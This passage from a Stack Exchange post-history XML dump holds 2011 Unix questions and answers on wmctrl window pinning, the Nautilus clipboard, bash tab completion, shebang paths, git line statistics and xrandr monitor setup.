&quot;### At this point, Nautilus copy does NOT work.&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28999" PostHistoryTypeId="5" PostId="11893" RevisionGUID="c83f3fd2-0eee-44f9-a843-e7a414e799c6" CreationDate="2011-04-23T23:47:21.333" UserId="1535" Comment="Make bug report description vaguely comprehensible" Text="I'd like to be able to move (pin) an existing window to all desktops using a scriptable command, rather than through the window menu.&#xD;&#xA;&#xD;&#xA;`wmctrl -r &lt;WIN&gt; -t &lt;DESK&gt;` will move a window to a different desktop, but I haven't found a way to use this to cause the window to be displayed on all desktops.  `wmctrl -l` shows `-1` as the desktop number for windows which are displayed on all desktops, but passing `-1` to `-t` doesn't work.&#xD;&#xA;&#xD;&#xA;[An unresolved fedora bug report](https://bugzilla.redhat.com/show_bug.cgi?id=524023) seems to address this issue: apparently the -1 value is used internally by `wmctrl`, and for this reason cannot be passed to `-t`.  The bug report also mentions window can be pinned with some window managers by giving the target window the *sticky* property.  However, I'm running openbox and this approach does not seem to work for me.  There is actually a patch posted to that bug report; I haven't tried using it.  It is from 2009.  I'd prefer to avoid patching `wmctrl` or anything else.&#xD;&#xA;&#xD;&#xA;Is there another way to script this behaviour that will work under openbox?" />
  <row Id="29000" PostHistoryTypeId="5" PostId="11905" RevisionGUID="8919d431-90f7-421d-9b19-ab65709821bf" CreationDate="2011-04-23T23:51:34.250" UserId="2343" Comment="added 1 characters in body; added 52 characters in body; deleted 1 characters in body" Text="It seems that Nautilus keeps track of it's internal state with respect to changes to the clipboard, which means that any change of state to the clipboard (including replacement with an identical filepath string) automatically cancels the *paste pending* state, hence nothing happens when an externally loaded clipboard contains a valid filepath...  &#xD;&#xA;&#xD;&#xA;Nautilus only recognizes a *file copy/cut* which has been initiated from within Nautilus itself.  (and yes, this is exactly what you have observed..)&#xD;&#xA;&#xD;&#xA;    # In Nautilus, manually &quot;copy&quot; a file (to the clipboard) using Ctrl+C&#xD;&#xA;    &#xD;&#xA;    xsel -ob |xxd      # hex-display clipboard contents of the clipboard&#xD;&#xA;    echo &quot;### At this point, Nautilus copy works.&quot;&#xD;&#xA;    read               # pause&#xD;&#xA;    xsel -ob |xsel -ib # Replace clipboard with itself&#xD;&#xA;    xsel -ob |xxd      # hex-display clipboard contents again&#xD;&#xA;    echo &quot;### At this point, Nautilus copy does NOT work.&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29001" PostHistoryTypeId="5" PostId="11905" RevisionGUID="1be2aaa2-360a-478b-922b-5b439ac93e01" CreationDate="2011-04-24T00:03:11.967" UserId="2343" Comment="added 135 characters in body; deleted 5 characters in body; added 8 characters in body" Text="It seems that Nautilus keeps track of it's internal state with respect to changes to the clipboard, which means that any change of state to the clipboard (including replacement with an identical filepath string) automatically cancels the *paste pending* state, hence nothing happens when an externally loaded clipboard contains a valid filepath...  &#xD;&#xA;&#xD;&#xA;Nautilus only recognizes a *file copy/cut* which has been initiated from within Nautilus itself.   &#xD;&#xA;This is exactly what you have observed.. with perhap some explanation as to why... I noticed in the Nautilus source 'cut-n-paste-code' that it contains a lot about  about saved states.  &#xD;&#xA;&#xD;&#xA;    # In Nautilus, manually &quot;copy&quot; a file (to the clipboard) using Ctrl+C&#xD;&#xA;    &#xD;&#xA;    xsel -ob |xxd      # hex-display clipboard contents of the clipboard&#xD;&#xA;    echo &quot;### At this point, Nautilus copy works.&quot;&#xD;&#xA;    read               # pause&#xD;&#xA;    xsel -ob |xsel -ib # Replace clipboard with itself&#xD;&#xA;    xsel -ob |xxd      # hex-display clipboard contents again&#xD;&#xA;    echo &quot;### At this point, Nautilus copy does NOT work.&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29002" PostHistoryTypeId="25" PostId="11881" RevisionGUID="641ca49e-72c8-461d-8930-223fb5548995" CreationDate="2011-04-24T00:09:10.797" Comment="http://twitter.com/#!/StackUnix/status/61944737841684480" />
  <row Id="29003" PostHistoryTypeId="5" PostId="11905" RevisionGUID="0529d3e3-ff30-4c00-9461-32e675985dc6" CreationDate="2011-04-24T00:19:50.757" UserId="2343" Comment="added 12 characters in body; added 149 characters in body; added 54 characters in body" Text="It seems that Nautilus keeps track of it's internal state with respect to changes to the clipboard, which means that any change of state to the clipboard (including replacement with an identical filepath string) automatically cancels the *paste pending* state, hence nothing happens when an externally loaded clipboard contains a valid filepath...  &#xD;&#xA;&#xD;&#xA;Nautilus only recognizes a *file copy/cut* which has been initiated from within Nautilus itself.   &#xD;&#xA;This is exactly what you have observed.. with perhap some explanation as to why... I noticed in the Nautilus source 'cut-n-paste-code' that it contains a lot about  about saved states.  &#xD;&#xA;&#xD;&#xA;    # In Nautilus, manually &quot;copy&quot; a file (to the clipboard) using Ctrl+C&#xD;&#xA;    &#xD;&#xA;    xsel -ob |xxd      # hex-display clipboard contents of the clipboard&#xD;&#xA;    echo &quot;### At this point, Nautilus **paste** works.&quot;&#xD;&#xA;    read               # pause&#xD;&#xA;    xsel -ob |xsel -ib # Replace clipboard with itself&#xD;&#xA;    xsel -ob |xxd      # hex-display clipboard contents again&#xD;&#xA;    echo &quot;### At this point, Nautilus **paste** does NOT work.&quot;&#xD;&#xA;&#xD;&#xA;After your manually copy/cut, you can perform endless actions (either in Nautilus or elswhere) and the Ctrl+V *paste* in Nautilus will work, but as soon as you modify the clipboard, it won't 'paste'...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29004" PostHistoryTypeId="2" PostId="11906" RevisionGUID="b02bee1e-cc0a-476a-a0d5-ca5d1ebed94b" CreationDate="2011-04-24T00:50:57.747" UserId="6894" Text="I found a short script to enable note-taking on [onethingwell][1], which includes this:&#xD;&#xA;&#xD;&#xA;    function n { nano ~/n/$1.txt }&#xD;&#xA;&#xD;&#xA; I'd like to extend it to do tab completion, so that if I want to edit the pre-existing note 'foobar' (~/n/foobar.txt) I can type `foo[TAB]` and have it automatically complete to `foobar`, rather than having to type in 'foobar' every time. The problem is that bash's built-in tab completion seems to be centered around the current directory, so if I'm in a folder that isn't ~/n, then my tab completion fails -- or, worse, completes to the wrong thing, since perhaps I have a file named 'footastic' in ~/snafu/ (meaning I type `$ n foo[TAB]`, and instead of seeing `$ n foobar`, I look at my input and see: `$ n footastic`. &#xD;&#xA;&#xD;&#xA;So, after all that preamble, here's the question: if it's possible, how can I tell bash that after I type 'n', for *just this once* I want it to assume that we're completing using the files in ~/n for completion, rather than using the files in the current directory?&#xD;&#xA;&#xD;&#xA;If you understood all that e-mumbling, congratulations, and if you can *answer* that, thank you very much! &#xD;&#xA;&#xD;&#xA;  [1]: http://onethingwell.org/post/457674798/a-poor-mans-notational-velocity" />
  <row Id="29005" PostHistoryTypeId="1" PostId="11906" RevisionGUID="b02bee1e-cc0a-476a-a0d5-ca5d1ebed94b" CreationDate="2011-04-24T00:50:57.747" UserId="6894" Text="How to change the target directory for tab completion?" />
  <row Id="29006" PostHistoryTypeId="3" PostId="11906" RevisionGUID="b02bee1e-cc0a-476a-a0d5-ca5d1ebed94b" CreationDate="2011-04-24T00:50:57.747" UserId="6894" Text="ébashàéshellöscriptàéautocompleteà" />
  <row Id="29007" PostHistoryTypeId="2" PostId="11907" RevisionGUID="5c28e5fe-4339-44d6-ad78-525144f70586" CreationDate="2011-04-24T01:17:56.820" UserId="6200" Text="Why does a shebang need a path?&#xD;&#xA;&#xD;&#xA;**Wrong**&#xD;&#xA;&#xD;&#xA;    #!ruby&#xD;&#xA;&#xD;&#xA;**Correct**&#xD;&#xA;&#xD;&#xA;    #!/usr/local/bin/ruby&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env ruby&#xD;&#xA;&#xD;&#xA;The operating system should have the information regarding the path for a registered command, and why does it still expect it to be given?&#xD;&#xA;" />
  <row Id="29008" PostHistoryTypeId="1" PostId="11907" RevisionGUID="5c28e5fe-4339-44d6-ad78-525144f70586" CreationDate="2011-04-24T01:17:56.820" UserId="6200" Text="shebang and path" />
  <row Id="29009" PostHistoryTypeId="3" PostId="11907" RevisionGUID="5c28e5fe-4339-44d6-ad78-525144f70586" CreationDate="2011-04-24T01:17:56.820" UserId="6200" Text="éscriptingàépathà" />
  <row Id="29010" PostHistoryTypeId="2" PostId="11908" RevisionGUID="85b936a3-99de-4d3c-824b-72ab64a11420" CreationDate="2011-04-24T02:09:39.920" UserId="5535" Text="I believe that's so you can specify an alternate interpreter if you need or want to. For example:&#xD;&#xA;&#xD;&#xA;    #!/home/user/myrubyinterpreter&#xD;&#xA;&#xD;&#xA;More often seen with shell scripts:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    #!/bin/dash&#xD;&#xA;    #!/bin/csh" />
  <row Id="29011" PostHistoryTypeId="25" PostId="11906" RevisionGUID="a7d526b2-337e-4da6-bcf6-53951910fbe1" CreationDate="2011-04-24T03:09:10.577" Comment="http://twitter.com/#!/StackUnix/status/61990034340974592" />
  <row Id="29012" PostHistoryTypeId="2" PostId="11909" RevisionGUID="c90dbb39-e9fa-4162-9f4a-69d4b5faecbc" CreationDate="2011-04-24T03:57:57.193" UserId="6761" Text="This might get you there...&#xD;&#xA;&#xD;&#xA;1. Enable custom tab completion in your .bashrc&#xD;&#xA;&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;shopt -s progcomp&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;2. Create a compgen function and add it to .bashrc &lt;em&gt;after&lt;/em&gt; your notes functions.&#xD;&#xA;&#xD;&#xA;   &lt;pre&gt;&lt;code&gt;_notes() {&#xD;&#xA;    local cur&#xD;&#xA;    	cur=${COMP_WORDS[COMP_CWORD]}&#xD;&#xA;    	COMPREPLY=( $(compgen -f $HOME/.notes/$cur | cut -d&quot;/&quot; -f5 ) )&#xD;&#xA;    	}&#xD;&#xA;       complete -o filenames -F _notes n&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;This works for me - at the basic level. I still haven't solved it for nested directories...&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&lt;p&gt;1. most of it from here: [http://sixohthree.com/867/bash-completion][1]&lt;/p&gt;&#xD;&#xA;&lt;p&gt;2. Completion builtin details here: [http://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html][2]&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sixohthree.com/867/bash-completion&#xD;&#xA;  [2]: http://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html" />
  <row Id="29013" PostHistoryTypeId="5" PostId="11909" RevisionGUID="6bdac22a-bebe-467c-ace1-0e4a58636203" CreationDate="2011-04-24T04:03:04.537" UserId="6761" Comment="deleted 12 characters in body; added 4 characters in body" Text="This might get you there...&#xD;&#xA;&#xD;&#xA;1. Enable custom tab completion in your .bashrc&#xD;&#xA;&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;shopt -s progcomp&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;2. Create a compgen function and add it to .bashrc &lt;em&gt;after&lt;/em&gt; your notes functions.&#xD;&#xA;&#xD;&#xA;   &lt;pre&gt;&lt;code&gt;_notes() {&#xD;&#xA;    local cur&#xD;&#xA;    	cur=${COMP_WORDS[COMP_CWORD]}&#xD;&#xA;    	COMPREPLY=( $(compgen -f $HOME/.notes/$cur | cut -d&quot;/&quot; -f5 ) )&#xD;&#xA;    	}&#xD;&#xA;       complete -o filenames -F _notes n&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;This works for me - at the basic level. I still haven't solved it for nested directories...&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;1. most of it from here: [http://sixohthree.com/867/bash-completion][1]&#xD;&#xA;&#xD;&#xA;2. Completion builtin details here: [http://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sixohthree.com/867/bash-completion&#xD;&#xA;  [2]: http://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html&#xD;&#xA;" />
  <row Id="29014" PostHistoryTypeId="5" PostId="11909" RevisionGUID="6b6deaa3-29c1-431f-b124-07e6ebed91a9" CreationDate="2011-04-24T04:21:00.160" UserId="6761" Comment="deleted 5 characters in body" Text="This might get you there...&#xD;&#xA;&#xD;&#xA;1. Enable custom tab completion in your .bashrc&#xD;&#xA;&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;shopt -s progcomp&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;2. Create a compgen function and add it to .bashrc &lt;em&gt;after&lt;/em&gt; your notes functions.&#xD;&#xA;&#xD;&#xA;   &lt;pre&gt;&lt;code&gt;_notes() {&#xD;&#xA;    local cur&#xD;&#xA;    	cur=${COMP_WORDS[COMP_CWORD]}&#xD;&#xA;    	COMPREPLY=( $(compgen -f $HOME/n/$cur | cut -d&quot;/&quot; -f5 ) )&#xD;&#xA;    	}&#xD;&#xA;       complete -o filenames -F _notes n&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;This works for me - at the basic level. I still haven't solved it for nested directories...&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;1. most of it from here: [http://sixohthree.com/867/bash-completion][1]&#xD;&#xA;&#xD;&#xA;2. Completion builtin details here: [http://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sixohthree.com/867/bash-completion&#xD;&#xA;  [2]: http://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html&#xD;&#xA;" />
  <row Id="29015" PostHistoryTypeId="2" PostId="11910" RevisionGUID="80d48b5a-dfed-483f-b7b5-3182b8741dd3" CreationDate="2011-04-24T04:54:49.400" UserId="2421" Text="Probably to keep the kernel simpler.  I don't think the kernel ever searches your path to find an executable.  That's handled by the C library.  `#!` processing is done in the kernel, which doesn't use the standard C library.&#xD;&#xA;&#xD;&#xA;Also, I don't think the kernel has a notion of what your path is.  `$PATH` is an environment variable, and only processes have an environment.  The kernel doesn't.  I suppose it could access the environment of the process that did the exec, but I don't think anything currently in the kernel ever accesses environment variables like that." />
  <row Id="29016" PostHistoryTypeId="2" PostId="11911" RevisionGUID="7072f346-0344-48f0-9462-e7739da1bd5b" CreationDate="2011-04-24T05:25:04.247" UserId="6167" Text="This kind of control is program specific.  Different editors will support it in different ways or won't support it at all.  For example, Eclipse uses the command mentioned by Mikel.  Vim or GVim, which is my preferred editor supports a sophisticated mechanism for remote control beyond simply opening a file in an existing Window.  To simply load a file into an existing session:&#xD;&#xA;&#xD;&#xA;    gvim --remote file1.c file2.c&#xD;&#xA;&#xD;&#xA;It will also start an existing session if it can't find an existing one.  You can also name specific GVim windows to target them and do remote scripting of existing GVim windows.  I'm sure Emacs has similar functionality." />
  <row Id="29017" PostHistoryTypeId="25" PostId="11907" RevisionGUID="0347a94d-f00f-4bf1-91b4-ee3fe8291d06" CreationDate="2011-04-24T06:09:10.900" Comment="http://twitter.com/#!/StackUnix/status/62035334694846464" />
  <row Id="29018" PostHistoryTypeId="5" PostId="11909" RevisionGUID="85dd5ca9-8a93-4d23-a8cf-abacfd09dcfd" CreationDate="2011-04-24T06:34:22.757" UserId="6761" Comment="more detail: flagged as an edit" Text="This might get you there...&#xD;&#xA;&#xD;&#xA;1. Enable custom tab completion in your .bashrc&#xD;&#xA;&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;shopt -s progcomp&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;2. Create a compgen function and add it to .bashrc &lt;em&gt;after&lt;/em&gt; your notes functions.&#xD;&#xA;&#xD;&#xA;   &lt;pre&gt;&lt;code&gt;_notes() {&#xD;&#xA;    local cur&#xD;&#xA;    	cur=${COMP_WORDS[COMP_CWORD]}&#xD;&#xA;    	COMPREPLY=( $(compgen -f $HOME/n/$cur | cut -d&quot;/&quot; -f5 ) )&#xD;&#xA;    	}&#xD;&#xA;       complete -o filenames -F _notes n&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;This works for me - at the basic level. I still haven't solved it for nested directories...&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;1. most of it from here: [http://sixohthree.com/867/bash-completion][1]&#xD;&#xA;&#xD;&#xA;2. Completion builtin details here: [http://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sixohthree.com/867/bash-completion&#xD;&#xA;  [2]: http://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html&#xD;&#xA;&#xD;&#xA;Edit: after more testing, you can change the initial function to:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;n() { $EDITOR &quot;$*&quot; ; }&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;otherwise the builtin will be appended to the path." />
  <row Id="29019" PostHistoryTypeId="25" PostId="11877" RevisionGUID="a5fa8e75-a962-4833-9c7f-8dc9e4b8c974" CreationDate="2011-04-24T09:09:10.927" Comment="http://twitter.com/#!/StackUnix/status/62080633870106624" />
  <row Id="29020" PostHistoryTypeId="2" PostId="11912" RevisionGUID="9041124c-7019-44a3-b7f8-56dbb3589f07" CreationDate="2011-04-24T09:12:15.173" UserId="5075" Text="I have a server which is able to connect the network through IPv6 tunneling. I want to use it as a proxy server. I have to things to understand:&#xD;&#xA;&#xD;&#xA;1. How to set up the DNS? Is there any open DNS that supports IPv6? I found articles talking about setting up a private IPv6 DNS. Does that necessary?&#xD;&#xA;&#xD;&#xA;2. How to make sure all network traffic go through the IPv6 tunneling?" />
  <row Id="29021" PostHistoryTypeId="1" PostId="11912" RevisionGUID="9041124c-7019-44a3-b7f8-56dbb3589f07" CreationDate="2011-04-24T09:12:15.173" UserId="5075" Text="How to set up the server to use IPv6 network" />
  <row Id="29022" PostHistoryTypeId="3" PostId="11912" RevisionGUID="9041124c-7019-44a3-b7f8-56dbb3589f07" CreationDate="2011-04-24T09:12:15.173" UserId="5075" Text="énetworkingàéproxyàéipv6à" />
  <row Id="29023" PostHistoryTypeId="5" PostId="11909" RevisionGUID="74c6d7a6-a86d-4d8d-a8cf-eb8b7c929356" CreationDate="2011-04-24T09:34:01.953" UserId="6761" Comment="That was wrong :(" Text="This might get you there...&#xD;&#xA;&#xD;&#xA;1. Enable custom tab completion in your .bashrc&#xD;&#xA;&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;shopt -s progcomp&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;2. Create a compgen function and add it to .bashrc &lt;em&gt;after&lt;/em&gt; your notes functions.&#xD;&#xA;&#xD;&#xA;   &lt;pre&gt;&lt;code&gt;_notes() {&#xD;&#xA;    local cur&#xD;&#xA;    	cur=${COMP_WORDS[COMP_CWORD]}&#xD;&#xA;    	COMPREPLY=( $(compgen -f $HOME/n/$cur | cut -d&quot;/&quot; -f5 ) )&#xD;&#xA;    	}&#xD;&#xA;       complete -o filenames -F _notes n&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;This works for me - at the basic level. I still haven't solved it for nested directories...&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;1. most of it from here: [http://sixohthree.com/867/bash-completion][1]&#xD;&#xA;&#xD;&#xA;2. Completion builtin details here: [http://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sixohthree.com/867/bash-completion&#xD;&#xA;  [2]: http://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29024" PostHistoryTypeId="2" PostId="11913" RevisionGUID="77ec50af-6644-4f1c-a436-44129452d2ca" CreationDate="2011-04-24T10:01:36.213" UserId="3046" Text="There are other reasons, but from a security perspective I would never want a script to make assumptions about the correct path. What if it is wrong and it runs the wrong shell or interpreter? One that has been inserted by a malicious user? Or what if it relies on a particular shell and will crash out if the wrong shell is used?&#xD;&#xA;&#xD;&#xA;Users may mess around with their path and break stuff - don't trust the user:-) I have conducted numerous attacks which rely on the user doing the wrong thing with their path - usually getting things in the wrong order - so I can subvert a normal script call.&#xD;&#xA;&#xD;&#xA;Yes, I know if you've written the script yourself you can quite rightly claim that you have sorted out your own path, but an interpreter can't make those decisions.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29025" PostHistoryTypeId="2" PostId="11914" RevisionGUID="a7615cbc-436d-47d5-9c32-84eaec29553e" CreationDate="2011-04-24T11:09:55.440" UserId="5590" Text="I would like to generate a statistic from my git repository to create a time-chart:&#xD;&#xA;&#xD;&#xA;    &lt;commit&gt; &lt;timestamp&gt; &lt;changed-lines&gt;&#xD;&#xA;&#xD;&#xA;    35abf648cfc  2011-04-04t17:23:58  +20 -4&#xD;&#xA;    93acb668f32  2011-04-04t17:59:01  -4 +1&#xD;&#xA;&#xD;&#xA;so I can plot a &quot;nice&quot; graph for that with gnuplot or so. Where `&lt;changed-lines&gt;` might be anything that is generatable, i.e. `+20 -3` (added 20 lines, removed 3 lines) or just `23` or whatever. Important is, that _lines_ are counted -- changed files would not be useful in my scenario.&#xD;&#xA;&#xD;&#xA;It would be good, if I could apply this only on a _part_ of the repo, because some directories contain nasty binary files, which would destroy a statistics.&#xD;&#xA;&#xD;&#xA;I guess `git log` might come in there somehow, but I have no idea where to start...&#xD;&#xA;" />
  <row Id="29026" PostHistoryTypeId="1" PostId="11914" RevisionGUID="a7615cbc-436d-47d5-9c32-84eaec29553e" CreationDate="2011-04-24T11:09:55.440" UserId="5590" Text="timeline statistics with git" />
  <row Id="29027" PostHistoryTypeId="3" PostId="11914" RevisionGUID="a7615cbc-436d-47d5-9c32-84eaec29553e" CreationDate="2011-04-24T11:09:55.440" UserId="5590" Text="égità" />
  <row Id="29028" PostHistoryTypeId="2" PostId="11915" RevisionGUID="1fda5d56-b11c-45e8-99ca-3cb0f68fefda" CreationDate="2011-04-24T11:35:00.030" UserId="1170" Text="This line comes close to what you want:&#xD;&#xA;&#xD;&#xA;    $ git log --format=&quot;%h %ad&quot; --numstat&#xD;&#xA;    b29dfc1 Sun Apr 24 13:32:06 2011 +0200&#xD;&#xA;    3       0       bar&#xD;&#xA;    0       2       foo&#xD;&#xA;    &#xD;&#xA;    d552271 Sun Apr 24 13:21:16 2011 +0200&#xD;&#xA;    2       1       foo&#xD;&#xA;    &#xD;&#xA;    ac8894a Sun Apr 24 13:20:59 2011 +0200&#xD;&#xA;    1       0       foo&#xD;&#xA;    &#xD;&#xA;    5965384 Sun Apr 24 13:20:40 2011 +0200&#xD;&#xA;    1       0       bar&#xD;&#xA;    1       0       foo&#xD;&#xA;&#xD;&#xA;Read the [git log manpage](http://www.kernel.org/pub/software/scm/git/docs/git-log.html) for more information." />
  <row Id="29029" PostHistoryTypeId="2" PostId="11916" RevisionGUID="5b60f8bc-a256-4da7-862b-5734aabf591f" CreationDate="2011-04-24T11:44:35.820" UserId="6890" Text="I have a smart perl script that does the job:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl -w&#xD;&#xA;    &#xD;&#xA;    use warnings;&#xD;&#xA;    use strict;&#xD;&#xA;    use Date::Parse;&#xD;&#xA;    &#xD;&#xA;    my $out = &quot;&quot;;&#xD;&#xA;    while (&lt;&gt;)&#xD;&#xA;    {&#xD;&#xA;        chomp (my $line = $_);&#xD;&#xA;        $out .= $1 if ($line =~ m/^commit ([a-z0-9]+)$/);&#xD;&#xA;        $out .= &quot;\t&quot; . str2time($1) if ($line =~ m/^Date: (.+)$/);&#xD;&#xA;        if ($line =~ m/ (\d+) files changed, (\d+) insertions\(\+\), (\d+) deletions\(-\)/)&#xD;&#xA;        {&#xD;&#xA;            print $out . &quot;\t&quot; . $1 . &quot;\t&quot; . $2 . &quot;\t&quot; . $3 . &quot;\n&quot;;&#xD;&#xA;            $out = &quot;&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    print $out.&quot;\n&quot;;&#xD;&#xA;&#xD;&#xA;Just change permissions to make it executable and pipe the output of `git log --shortstat` to this script (here the script is stored `/tmp/gitstats.pl`):&#xD;&#xA;&#xD;&#xA;    user@srv % git log --shortstat | /tmp/gitstats.pl&#xD;&#xA;    d56d496ac70f6c441d624413f54aeba1dfb805d7        1303393788      104     51420   12081&#xD;&#xA;    98c4b66af7a0c7e6b8155bb2a538f7ca77c1243a        1303285305      234     34756   35022&#xD;&#xA;    6e33280279d5bd83ea8d0fde95b08394a297b159        1303251405      6       341     0&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;First column is commit ID, second entry is unix time stamp, followd by number of files changed, insertions and deletions.&#xD;&#xA;&#xD;&#xA;This also tracks your binary files, but that is of course an issue of your repo design..." />
  <row Id="29030" PostHistoryTypeId="25" PostId="11914" RevisionGUID="bf83f170-3b93-452e-83b8-0ce5e83752ec" CreationDate="2011-04-24T12:09:10.567" Comment="http://twitter.com/#!/StackUnix/status/62125929840910338" />
  <row Id="29031" PostHistoryTypeId="2" PostId="11917" RevisionGUID="32982d0e-6d7a-44e6-8be4-dab3492116bd" CreationDate="2011-04-24T12:17:58.300" UserId="5197" Text="The script can make no assumptions about the content of the PATH environment variable, since the caller may have reasons to change it.  So it is inappropriate to use it, in particular&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env ruby  &#xD;&#xA;&#xD;&#xA;is problematic: what happens if the invoking user has a build of Ruby in their `~/bin` directory which has a different set of libraries cooked in to the vanilla site Ruby, so breaking this particular script?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There isn't really any other platform-independent &quot;operating system ... information regarding the path for a registered command&quot;, so the simplest thing is to insist on the path being provided." />
  <row Id="29032" PostHistoryTypeId="5" PostId="11901" RevisionGUID="cb22aae8-d3fe-4dae-b977-679686d7eb9b" CreationDate="2011-04-24T12:40:09.327" UserId="4520" Comment="Respont to " Text="The problem is not RandR, your video driver is not configuring the monitor based on the EDID information from the Monitor.  Check the Xorg?.log file to see how the driver is configuring the monitor.  &#xD;&#xA;&#xD;&#xA;It is possible to configure the monitor in the xorg.conf configuration.  I haven't tried this for a plug and play setup.  Configuring a dual monitor setup might work better. &#xD;&#xA;&#xD;&#xA;You could script the configuration so it is easier to do.&#xD;&#xA;&#xD;&#xA;EDIT No, the module that is responsible for this is common and used by all the drivers.  The video card manufacturers don't provide a common interface, so we need different drivers.  The Xorg drivers factor out the common functionality and provide a standard application interfaces, which is why RandR works.  xorg.conf is common to all the drivers.  &#xD;&#xA;&#xD;&#xA;If you are booting with the monitor turned on, it appears it is not providing an EDID (this is the monitor's responsibility).  Look at `/var/log/Xorg.0.log` after starting with and without the monitor connected and turned on when you boot.  This should give you some idea what is or isn't happening.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="29033" PostHistoryTypeId="5" PostId="11901" RevisionGUID="087749e6-0041-4291-8afa-f71117728c6f" CreationDate="2011-04-24T13:01:07.803" UserId="4520" Comment="Add solution." Text="The problem is not RandR, your video driver is not configuring the monitor based on the EDID information from the Monitor.  Check the Xorg?.log file to see how the driver is configuring the monitor.  &#xD;&#xA;&#xD;&#xA;It is possible to configure the monitor in the xorg.conf configuration.  I haven't tried this for a plug and play setup.  Configuring a dual monitor setup might work better. &#xD;&#xA;&#xD;&#xA;You could script the configuration so it is easier to do.&#xD;&#xA;&#xD;&#xA;EDIT No, the module that is responsible for this is common and used by all the drivers.  The video card manufacturers don't provide a common interface, so we need different drivers.  The Xorg drivers factor out the common functionality and provide a standard application interfaces, which is why RandR works.  xorg.conf is common to all the drivers.  &#xD;&#xA;&#xD;&#xA;If you are booting with the monitor turned on, it appears it is not providing an EDID (this is the monitor's responsibility).  Look at `/var/log/Xorg.0.log` after starting with and without the monitor connected and turned on when you boot.  This should give you some idea what is or isn't happening.  &#xD;&#xA;&#xD;&#xA;This is the solution I used with a dual monitor setup where one monitor didn't supply an EDID.  I have moved this solution into my xorg.conf file, but that took a while to configure.  This setup is simpler if you are using `gdm`.  Similar solutions can be used for `kdm` or `xdm`.  Replace my setup with what you are entering when you startup. &#xD;&#xA;&#xD;&#xA;I created the file  `/etc/gdm/Init/Default` containing:&#xD;&#xA;&lt;pre&gt;#!/bin/sh&#xD;&#xA;PATH=&quot;/usr/bin:$PATH&quot;&#xD;&#xA;&#xD;&#xA;#WAT - Setup dual displays&#xD;&#xA;# Define new modes (60 and 75 hz)&#xD;&#xA;xrandr --newmode 1280x1024    108.00  1280 1376 1488 1800   960  961  964 1000 +hsync +vsync&#xD;&#xA;xrandr --newmode 1280x1024x75 135.00  1280 1296 1440 1688  1024 1025 1028 1066 +hsync +vsync&#xD;&#xA;&#xD;&#xA;# Add modes to screen&#xD;&#xA;xrandr --addmode VGA-0        1280x1024&#xD;&#xA;xrandr --addmode VGA-0        1280x1024x75&#xD;&#xA;&#xD;&#xA;# Select the output mode&#xD;&#xA;xrandr --output HDMI-0 --mode 1920x1080 --output  VGA-0 --mode 1280x1024 --left-of HDMI-0&#xD;&#xA;&#xD;&#xA;# EOF &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
